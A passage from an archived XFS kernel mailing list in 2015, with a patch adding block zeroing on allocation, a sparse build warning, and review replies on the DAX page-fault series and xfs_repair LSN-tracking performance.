"METADATA" }, \ @@ -116,7 +124,8 @@ typedef struct xfs_bmap_free { XFS_BMAPI_PREALLOC, "PREALLOC" }, \ { XFS_BMAPI_IGSTATE, "IGSTATE" }, \ { XFS_BMAPI_CONTIG, "CONTIG" }, \ - { XFS_BMAPI_CONVERT, "CONVERT" } + { XFS_BMAPI_CONVERT, "CONVERT" }, \ + { XFS_BMAPI_ZERO, "ZERO" } static inline int xfs_bmapi_aflag(int w) diff --git a/fs/xfs/xfs_bmap_util.c b/fs/xfs/xfs_bmap_util.c index 3bf4ad0..3f59698 100644 --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -57,6 +57,35 @@ xfs_fsb_to_db(struct xfs_inode *ip, xfs_fsblock_t fsb) } /* + * Routine to zero an extent on disk allocated to the specific inode. + * + * The VFS functions take a linearised filesystem block offset, so we have to + * convert the sparse xfs fsb to the right format first. + * VFS types are real funky, too. + */ +int +xfs_zero_extent( + struct xfs_inode *ip, + xfs_fsblock_t start_fsb, + xfs_off_t count_fsb) +{ + struct xfs_mount *mp = ip->i_mount; + xfs_daddr_t sector = xfs_fsb_to_db(ip, start_fsb); + sector_t block = XFS_BB_TO_FSBT(mp, sector); + ssize_t size = XFS_FSB_TO_B(mp, count_fsb); + + if (IS_DAX(VFS_I(ip))) + return dax_clear_blocks(VFS_I(ip), block, size); + + /* + * let the block layer decide on the fastest method of + * implementing the zeroing. + */ + return sb_issue_zeroout(mp->m_super, block, count_fsb, GFP_NOFS); + +} + +/* * Routine to be called at transaction's end by xfs_bmapi, xfs_bunmapi * caller. Frees all the extents that need freeing, which must be done * last due to locking considerations. We never free any extents in @@ -229,6 +258,13 @@ xfs_bmap_rtalloc( xfs_trans_mod_dquot_byino(ap->tp, ap->ip, ap->wasdel ? XFS_TRANS_DQ_DELRTBCOUNT : XFS_TRANS_DQ_RTBCOUNT, (long) ralen); + + /* Zero the extent if we were asked to do so */ + if (ap->userdata & XFS_ALLOC_USERDATA_ZERO) { + error = xfs_zero_extent(ap->ip, ap->blkno, ap->length); + if (error) + return error; + } } else { ap->length = 0; } diff --git a/fs/xfs/xfs_mount.h b/fs/xfs/xfs_mount.h index 7999e91..404bfa5 100644 --- a/fs/xfs/xfs_mount.h +++ b/fs/xfs/xfs_mount.h @@ -336,4 +336,7 @@ extern int xfs_dev_is_read_only(struct xfs_mount *, char *); extern void xfs_set_low_space_thresholds(struct xfs_mount *); +int xfs_zero_extent(struct xfs_inode *ip, xfs_fsblock_t start_fsb, + xfs_off_t count_fsb); + #endif /* __XFS_MOUNT_H__ */ -- 2.5.0 From fengguang.wu@intel.com Thu Oct 1 03:36:33 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.7 required=5.0 tests=FAKE_REPLY_C autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 66BE17F37 for ; Thu, 1 Oct 2015 03:36:33 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id EFDFFAC004 for ; Thu, 1 Oct 2015 01:36:29 -0700 (PDT) X-ASG-Debug-ID: 1443688586-04bdf04622190b70001-NocioJ Received: from mga03.intel.com (mga03.intel.com [134.134.136.65]) by cuda.sgi.com with ESMTP id 2qgLf0eBB2lasASR for ; Thu, 01 Oct 2015 01:36:26 -0700 (PDT) X-Barracuda-Envelope-From: fengguang.wu@intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.65 Received: from fmsmga003.fm.intel.com ([10.253.24.29]) by orsmga103.jf.intel.com with ESMTP; 01 Oct 2015 01:36:26 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,616,1437462000"; d="scan'208";a="571950141" Received: from bee.sh.intel.com (HELO bee) ([10.239.97.14]) by FMSMGA003.fm.intel.com with ESMTP; 01 Oct 2015 01:36:26 -0700 Received: from kbuild by bee with local (Exim 4.83) (envelope-from ) id 1ZhZLY-000T8R-Sc; Thu, 01 Oct 2015 16:36:12 +0800 Date: Thu, 1 Oct 2015 16:35:50 +0800 From: kbuild test robot To: Dave Chinner Cc: kbuild-all@01.org, xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Message-ID: <201510011627.eAfVmtFF%fengguang.wu@intel.com> X-ASG-Orig-Subj: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443685599-4843-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: fengguang.wu@intel.com X-SA-Exim-Scanned: No (on bee); SAEximRunCond expanded to false X-Barracuda-Connect: mga03.intel.com[134.134.136.65] X-Barracuda-Start-Time: 1443688586 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23072 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Hi Dave, [auto build test results on v4.3-rc3 -- if it's inappropriate base, please ignore] reproduce: # apt-get install sparse make ARCH=x86_64 allmodconfig make C=1 CF=-D__CHECK_ENDIAN__ sparse warnings: (new ones prefixed by >>) >> fs/dax.c:626:50: sparse: incorrect type in argument 1 (different address spaces) fs/dax.c:626:50: expected void *page fs/dax.c:626:50: got void [noderef] * vim +626 fs/dax.c 610 result = VM_FAULT_NOPAGE; 611 spin_unlock(ptl); 612 } else { 613 sector = bh.b_blocknr << (blkbits - 9); 614 length = bdev_direct_access(bh.b_bdev, sector, &kaddr, &pfn, 615 bh.b_size); 616 if (length < 0) { 617 result = VM_FAULT_SIGBUS; 618 goto out; 619 } 620 if ((length < PMD_SIZE) || (pfn & PG_PMD_COLOUR)) 621 goto fallback; 622 623 if (buffer_unwritten(&bh) || buffer_new(&bh)) { 624 int i; 625 for (i = 0; i < PTRS_PER_PMD; i++) > 626 clear_page(kaddr + i * PAGE_SIZE); 627 count_vm_event(PGMAJFAULT); 628 mem_cgroup_count_vm_event(vma->vm_mm, PGMAJFAULT); 629 result |= VM_FAULT_MAJOR; 630 } 631 632 result |= vmf_insert_pfn_pmd(vma, address, pmd, pfn, write); 633 } 634 --- 0-DAY kernel test infrastructure Open Source Technology Center https://lists.01.org/pipermail/kbuild-all Intel Corporation From mstsxfx@gmail.com Thu Oct 1 06:30:58 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 0C24B7F5A for ; Thu, 1 Oct 2015 06:30:58 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id D41068F8040 for ; Thu, 1 Oct 2015 04:30:54 -0700 (PDT) X-ASG-Debug-ID: 1443699049-04bdf04622194e90001-NocioJ Received: from mail-wi0-f170.google.com (mail-wi0-f170.google.com [209.85.212.170]) by cuda.sgi.com with ESMTP id OAsle9vMISiR5WGg (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Thu, 01 Oct 2015 04:30:52 -0700 (PDT) X-Barracuda-Envelope-From: mstsxfx@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.212.170 Received: by wicfx3 with SMTP id fx3so28317302wic.1 for ; Thu, 01 Oct 2015 04:30:49 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=date:from:to:cc:subject:message-id:references:mime-version :content-type:content-disposition:in-reply-to:user-agent; bh=kS02QInLTPfecXl6S+74hX1ndylFH1D9UPnvHx9OlGc=; b=hue3sM0ovKWA4gYyKSIcVvCBkAbewckWT+7ixLAREqjvuqpdYQubzs88VxNvG9OsKD ESY6ldVusFjLd34nqI6RBbaixWajRXR5qXHRAdnLbPjw9jjMO33ratkwSV1mGTrpusmQ SzHpvRO+2Q1wdvEGqtHGK9W8YnDvULVBdCqp1HE5m3CeSPj/uRupne9zpa74qrF0zU7F Wi7QrWyLzHODO4Js9ea7Pjt7nT1LsxHz/FPojJHko8G9BRUS1ZluIijuhDN9j8RnYuUe 29ZfYVR5esf0iMbd3ZkEqe5PaNbPWJFWnoOmDY4fsMn19WsxcG86ydTHNP9n+nsJAOcS clrA== X-Received: by 10.180.23.134 with SMTP id m6mr2955502wif.32.1443699049287; Thu, 01 Oct 2015 04:30:49 -0700 (PDT) Received: from localhost (nat1.scz.suse.com. [213.151.88.250]) by smtp.gmail.com with ESMTPSA id kb9sm5636369wjb.49.2015.10.01.04.30.48 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 01 Oct 2015 04:30:48 -0700 (PDT) Date: Thu, 1 Oct 2015 13:30:47 +0200 From: Michal Hocko To: Andrew Morton Cc: linux-mm@kvack.org, Dave Chinner , Theodore Ts'o , Ming Lei , Andreas Dilger , Oleg Drokin , Al Viro , Christoph Hellwig , linux-kernel@vger.kernel.org, xfs@oss.sgi.com, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org Subject: Re: [PATCH] mm, fs: Obey gfp_mapping for add_to_page_cache Message-ID: <20151001113046.GA24077@dhcp22.suse.cz> X-ASG-Orig-Subj: Re: [PATCH] mm, fs: Obey gfp_mapping for add_to_page_cache References: <1443193461-31402-1-git-send-email-mhocko@kernel.org> <20150929150246.286cc6013bce3eec170376aa@linux-foundation.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20150929150246.286cc6013bce3eec170376aa@linux-foundation.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mail-wi0-f170.google.com[209.85.212.170] X-Barracuda-Start-Time: 1443699052 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23075 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Tue 29-09-15 15:02:46, Andrew Morton wrote: > On Fri, 25 Sep 2015 17:04:21 +0200 mhocko@kernel.org wrote: > > > From: Michal Hocko > > > > 6afdb859b710 ("mm: do not ignore mapping_gfp_mask in page cache > > allocation paths) has caught some users of hardcoded GFP_KERNEL > > used in the page cache allocation paths. This, however, wasn't complete > > and there were others which went unnoticed. > > > > Dave Chinner has reported the following deadlock for xfs on loop device: > > : With the recent merge of the loop device changes, I'm now seeing > > : XFS deadlock on my single CPU, 1GB RAM VM running xfs/073. > > : > > : The deadlocked is as follows: > > : > > : kloopd1: loop_queue_read_work > > : xfs_file_iter_read > > : lock XFS inode XFS_IOLOCK_SHARED (on image file) > > : page cache read (GFP_KERNEL) > > : radix tree alloc > > : memory reclaim > > : reclaim XFS inodes > > : log force to unpin inodes > > : > > : > > : xfs-cil/loop1: > > : xlog_cil_push > > : xlog_write > > : > > : xlog_state_get_iclog_space() > > : > > : > > : > > : kloopd1: loop_queue_write_work > > : xfs_file_write_iter > > : lock XFS inode XFS_IOLOCK_EXCL (on image file) > > : > > : > > : i.e. the kloopd, with it's split read and write work queues, has > > : introduced a dependency through memory reclaim. i.e. that writes > > : need to be able to progress for reads make progress. > > : > > : The problem, fundamentally, is that mpage_readpages() does a > > : GFP_KERNEL allocation, rather than paying attention to the inode's > > : mapping gfp mask, which is set to GFP_NOFS. > > : > > : The didn't used to happen, because the loop device used to issue > > : reads through the splice path and that does: > > : > > : error = add_to_page_cache_lru(page, mapping, index, > > : GFP_KERNEL & mapping_gfp_mask(mapping)); > > > > This has changed by aa4d86163e4 (block: loop: switch to VFS ITER_BVEC). > > xfs-on-loop deadlocks since April would appear to warrant a -stable > backport, yes? Yeah, stable 4.1+ > > this is a rebase on top of the current mmotm > > (2015-09-22-15-28) > > So I've redone the patch against current mainline. Thanks! -- Michal Hocko SUSE Labs From ross.zwisler@linux.intel.com Thu Oct 1 15:27:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id ACFF97F55 for ; Thu, 1 Oct 2015 15:27:36 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 49247AC00A for ; Thu, 1 Oct 2015 13:27:36 -0700 (PDT) X-ASG-Debug-ID: 1443731251-04bdf046261a1750001-NocioJ Received: from mga11.intel.com ([192.55.52.93]) by cuda.sgi.com with ESMTP id CroeL30IvRD1phWN for ; Thu, 01 Oct 2015 13:27:32 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 192.55.52.93 X-ASG-Whitelist: EmailCat (corporate) Received: from orsmga003.jf.intel.com ([10.7.209.27]) by fmsmga102.fm.intel.com with ESMTP; 01 Oct 2015 13:27:31 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,619,1437462000"; d="scan'208";a="656130074" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by orsmga003.jf.intel.com with ESMTP; 01 Oct 2015 13:27:32 -0700 Date: Thu, 1 Oct 2015 14:27:29 -0600 From: Ross Zwisler To: Dave Chinner Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Message-ID: <20151001202729.GA23495@linux.intel.com> X-ASG-Orig-Subj: Re: [PATCH 1/7] Revert "mm: take i_mmap_lock in unmap_mapping_range() for DAX" Mail-Followup-To: Ross Zwisler , Dave Chinner , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org References: <1443685599-4843-1-git-send-email-david@fromorbit.com> <1443685599-4843-2-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443685599-4843-2-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: UNKNOWN[192.55.52.93] X-Barracuda-Start-Time: 1443731252 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 01, 2015 at 05:46:33PM +1000, Dave Chinner wrote: > This reverts commit 46c043ede4711e8d598b9d63c5616c1fedb0605e. > --- > fs/dax.c | 36 ++++++++++++++++-------------------- > mm/memory.c | 11 +++++++++-- > 2 files changed, 25 insertions(+), 22 deletions(-) > > diff --git a/fs/dax.c b/fs/dax.c > index 7ae6df7..400fe95 100644 > --- a/fs/dax.c > +++ b/fs/dax.c > @@ -569,26 +569,6 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, > if (!buffer_size_valid(&bh) || bh.b_size < PMD_SIZE) > goto fallback; > > - if (buffer_unwritten(&bh) || buffer_new(&bh)) { > - int i; > - for (i = 0; i < PTRS_PER_PMD; i++) > - clear_pmem(kaddr + i * PAGE_SIZE, PAGE_SIZE); > - wmb_pmem(); The above two lines were updated to use the PMEM API with this commit: commit d77e92e270ed ("dax: update PMD fault handler with PMEM API") but they aren't updated in the reverted version here: > @@ -633,6 +620,15 @@ int __dax_pmd_fault(struct vm_area_struct *vma, unsigned long address, > if ((length < PMD_SIZE) || (pfn & PG_PMD_COLOUR)) > goto fallback; > > + if (buffer_unwritten(&bh) || buffer_new(&bh)) { > + int i; > + for (i = 0; i < PTRS_PER_PMD; i++) > + clear_page(kaddr + i * PAGE_SIZE); > + count_vm_event(PGMAJFAULT); > + mem_cgroup_count_vm_event(vma->vm_mm, PGMAJFAULT); > + result |= VM_FAULT_MAJOR; > + } > + > result |= vmf_insert_pfn_pmd(vma, address, pmd, pfn, write); > } This is the source of the follow-up sparse warning from the kbuild robot. Also, if I understood your previous mails correctly you were targeting the first two revert patches for v4.3 so we get back to v4.2 level locking, and the rest of the series will target v4.4, correct? How does this work? Do the patches need to be split into two series and tested separately? From ross.zwisler@linux.intel.com Thu Oct 1 15:31:27 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6DD007F55 for ; Thu, 1 Oct 2015 15:31:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3F5B2304043 for ; Thu, 1 Oct 2015 13:31:24 -0700 (PDT) X-ASG-Debug-ID: 1443731482-04bdf046271a1870001-NocioJ Received: from mga09.intel.com (mga09.intel.com [134.134.136.24]) by cuda.sgi.com with ESMTP id xGtHI62vrUOm5loi for ; Thu, 01 Oct 2015 13:31:22 -0700 (PDT) X-Barracuda-Envelope-From: ross.zwisler@linux.intel.com X-Barracuda-Apparent-Source-IP: 134.134.136.24 X-ASG-Whitelist: EmailCat (corporate) Received: from fmsmga002.fm.intel.com ([10.253.24.26]) by orsmga102.jf.intel.com with ESMTP; 01 Oct 2015 13:31:22 -0700 X-ExtLoop1: 1 X-IronPort-AV: E=Sophos;i="5.17,619,1437462000"; d="scan'208";a="817408629" Received: from theros.lm.intel.com (HELO linux.intel.com) ([10.232.112.146]) by fmsmga002.fm.intel.com with ESMTP; 01 Oct 2015 13:31:21 -0700 Date: Thu, 1 Oct 2015 14:31:21 -0600 From: Ross Zwisler To: Dave Chinner Cc: xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, ross.zwisler@linux.intel.com, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org Subject: Re: [PATCH 0/7] xfs, dax: fix the page fault/allocation mess Message-ID: <20151001203121.GB23495@linux.intel.com> X-ASG-Orig-Subj: Re: [PATCH 0/7] xfs, dax: fix the page fault/allocation mess Mail-Followup-To: Ross Zwisler , Dave Chinner , xfs@oss.sgi.com, linux-fsdevel@vger.kernel.org, willy@linux.intel.com, dan.j.williams@intel.com, kirill.shutemov@linux.intel.com, linux-nvdimm@lists.01.org, jack@suse.cz, linux-kernel@vger.kernel.org References: <1443685599-4843-1-git-send-email-david@fromorbit.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1443685599-4843-1-git-send-email-david@fromorbit.com> User-Agent: Mutt/1.5.23 (2014-03-12) X-Barracuda-Connect: mga09.intel.com[134.134.136.24] X-Barracuda-Start-Time: 1443731482 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Oct 01, 2015 at 05:46:32PM +1000, Dave Chinner wrote: > Hi folks, > > As discussed in the recent thread about problems with DAX locking: > > http://www.gossamer-threads.com/lists/linux/kernel/2264090?do=post_view_threaded > > I said that I'd post the patch set that fixed the problems for XFS > as soon as I had something sane and workable. That's what this > series is. > > To start with, it passes xfstests "auto" group with only the only > failures being expected failures or failures due to unexpected > allocation patterns or trying to use unsupported block sizes. That > makes it better than any previous version of the XFS/DAX code. > > The patchset starts by reverting the two patches that were > introduced in 4.3-rc1 to try to fix the fault vs fault and fault vs > truncate races that caused deadlocks. This fixes the hangs in > generic/075 that these patches introduced. > > Patch 3 enables XFS to handle the behaviour of DAX and DIO when > asking to allocate the block at (2^63 - 1FSB), where the offset + > count s technically illegal (larger than sb->s_maxbytes) and > overflows a s64 variable. This is currently hidden by the fact that > all DAX and DIO allocation is currently unwritten, but patch 5 > exposes it for DAX. > > Patch 4 introduces the ability for XFS to allocate physically zeroed > data blocks. This is done for each physical extent that is > allocated, deep inside the allocator itself and guaranteed to be > atomic with the allocation transaction and hence has no > crash+recovery exposure issues. > > This is necessary because the BMAPI layer merges allocated extents > in the BMBT before it returns the mapped extent back to the high > level get_blocks() code. Hence the high level code can have a single > extent presented that is made of merged new and existing extents, > and so zeroing can't be done at this layer. > > The advantage of driving the zeroing deep into the allocator is the > functionality is now available to all XFS code. Hence we can > allocate pre-zeroed blocks on any type of storage, and we can > utilise storage-based hardware acceleration (e.g. discard to zero, > WRITE_SAME, etc) to do the zeroing. From this POV, DAX is just > another hardware accelerated physical zeroing mechanism for XFS. :) > > [ This is an example of the mantra I repeat a lot: solve the problem > properly the first time and it will make everything simpler! Sure, > it took me three attempts to work out how to solve it in a sane > manner, but that's pretty much par for the course with anything > non-trivial. ] > > Patch 5 makes __xfs_get_blocks() aware that it is being called from > the DAX fault path and makes sure it returns zeroed blocks rather > than unwritten extents via XFS_BMAPI_ZERO. It also now sets > XFS_BMAPI_CONVERT, which tells it to convert unwritten extents to > written, zeroed blocks. This is the major change of behaviour. > > Patch 6 removes the IO completion callbacks from the XFS DAX code as > they are not longer necessary after patch 5. > > Patch 7 adds pfn_mkwrite support to XFS. This is needed to fix > generic/080, which detects a failure to update the inode timestamp > on a pfn fault. It also adds the same locking as the XFS > implementation of ->fault and ->page_mkwrite and hence provide > correct serialisation against truncate, hole punching, etc that > doesn't currently exist. > > The next steps that are needed are to do the same "block zeroing > during allocation" to ext4, and then the block zeroing and > complete_unwritten callbacks can be removed from the DAX API and > code. I've had a breif look at the ext4 code - the block zeroing > should be able to be done by overloading the existing zeroout code > that ext4 has in the unwritten extent allocation code. I'd much > prefer that an ext4 expert does this work, and then we can clean up > the DAX code... Thank you for working on this, and for documenting your thinking so clearly. One thing I noticed is that in my test setup XFS+DAX is now failing generic/274: # diff -u tests/generic/274.out /root/xfstests/results//generic/274.out.bad --- tests/generic/274.out 2015-08-24 11:05:41.490926305 -0600 +++ /root/xfstests/results//generic/274.out.bad 2015-10-01 13:53:50.498354091 -0600 @@ -2,4 +2,5 @@ ------------------------------ preallocation test ------------------------------ -done +failed to write to test file +(see /root/xfstests/results//generic/274.full for details) I've verified that the test passes 100% of the time with my baseline (v4.3-rc3), and with the set applied but without the DAX mount option. With the series and with DAX it fails 100% of the time. I haven't looked into the details of the failure yet, I just wanted to let you know that it was happening. From bfoster@redhat.com Thu Oct 1 15:38:56 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 3A79B7F55 for ; Thu, 1 Oct 2015 15:38:56 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id A8086AC00F for ; Thu, 1 Oct 2015 13:38:55 -0700 (PDT) X-ASG-Debug-ID: 1443731933-04cb6c6b0718e4f0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id slEnFTWHxqwig63R (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Thu, 01 Oct 2015 13:38:54 -0700 (PDT) X-Barracuda-Envelope-From: bfoster@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx10.intmail.prod.int.phx2.redhat.com (int-mx10.intmail.prod.int.phx2.redhat.com [10.5.11.23]) by mx1.redhat.com (Postfix) with ESMTPS id A72DDB7A6F; Thu, 1 Oct 2015 20:38:53 +0000 (UTC) Received: from bfoster.bfoster (dhcp-41-128.bos.redhat.com [10.18.41.128]) by int-mx10.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t91KcriO016871; Thu, 1 Oct 2015 16:38:53 -0400 Received: by bfoster.bfoster (Postfix, from userid 1000) id 8F3F41203DF; Thu, 1 Oct 2015 16:38:51 -0400 (EDT) Date: Thu, 1 Oct 2015 16:38:51 -0400 From: Brian Foster To: Dave Chinner Cc: xfs@oss.sgi.com Subject: Re: [PATCH v2 02/12] libxfs: track largest metadata LSN in use via verifiers Message-ID: <20151001203851.GA3349@bfoster.bfoster> X-ASG-Orig-Subj: Re: [PATCH v2 02/12] libxfs: track largest metadata LSN in use via verifiers References: <1441997742-37160-1-git-send-email-bfoster@redhat.com> <1441997742-37160-3-git-send-email-bfoster@redhat.com> <20150923034406.GR3902@dastard> <20150923131831.GB37210@bfoster.bfoster> <20150923223625.GR19114@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20150923223625.GR19114@dastard> User-Agent: Mutt/1.5.23 (2014-03-12) X-Scanned-By: MIMEDefang 2.68 on 10.5.11.23 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1443731934 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 On Thu, Sep 24, 2015 at 08:36:25AM +1000, Dave Chinner wrote: > On Wed, Sep 23, 2015 at 09:18:31AM -0400, Brian Foster wrote: > > On Wed, Sep 23, 2015 at 01:44:06PM +1000, Dave Chinner wrote: > > > On Fri, Sep 11, 2015 at 02:55:32PM -0400, Brian Foster wrote: > > > > + > > > > + pthread_mutex_lock(&libxfs_max_lsn_lock); > > > > + > > > > + max_cycle = CYCLE_LSN(libxfs_max_lsn); > > > > + max_block = BLOCK_LSN(libxfs_max_lsn); > > > > + > > > > + if ((cycle > max_cycle) || > > > > + (cycle == max_cycle && block > max_block)) > > > > + libxfs_max_lsn = lsn; > > Actually, we have XFS_LSN_CMP(lsn1, lsn2) for this. i.e. > > if (XFS_LSN_CMP(lsn, libxfs_max_lsn) > 0) > libxfs_max_lsn = lsn; > > > > > + > > > > + pthread_mutex_unlock(&libxfs_max_lsn_lock); > > > > > > This will have the same lock contention problems that the kernel > > > code would have had - my repair scalablity tests regularly reach > > > over 1GB/s of metadata being prefetched through tens of threads, so > > > this is going have a significant impact on performance in those > > > tests.... > > > > > ... > > > I'll have to think about this some more and see what's effective. I'd > > also like to quantify the effect the current locking has on performance > > if possible. Can you provide a brief description of your typical repair > > test that you would expect this to hurt? E.g., a large fs, many AGs, > > populated with fs_mark and repaired with many threads..? Any special > > storage configuration? Thanks. > > Just my usual 500TB fs_mark test... > Thanks for the test information and sample results. I wasn't able to get close enough to the base numbers you mentioned on IRC with the spinning rust storage I have available. Instead, I tried running something similar using a large ramdisk as a backing store. I have a 500T sparse file formatted with XFS and populated with ~25m inodes that uses roughly ~16GB of the backing store (leaving another 16GB of usable RAM for the server). I run xfs_repair[1] against that 500TB fs and see spikes of throughput up over 2GB/s and get repair result reports like the following: Phase Start End Duration Phase 1: 10/01 13:03:44 10/01 13:03:45 1 second Phase 2: 10/01 13:03:45 10/01 13:03:46 1 second Phase 3: 10/01 13:03:46 10/01 13:05:01 1 minute, 15 seconds Phase 4: 10/01 13:05:01 10/01 13:05:14 13 seconds Phase 5: 10/01 13:05:14 10/01 13:05:15 1 second Phase 6: 10/01 13:05:15 10/01 13:05:50 35 seconds Phase 7: 10/01 13:05:50 10/01 13:05:50 The numbers don't change that much on repeated runs and if I do a quick and dirty average of the duration of phases 3, 4 and 6 and compare with results from the for-next branch, the runtime degradation is 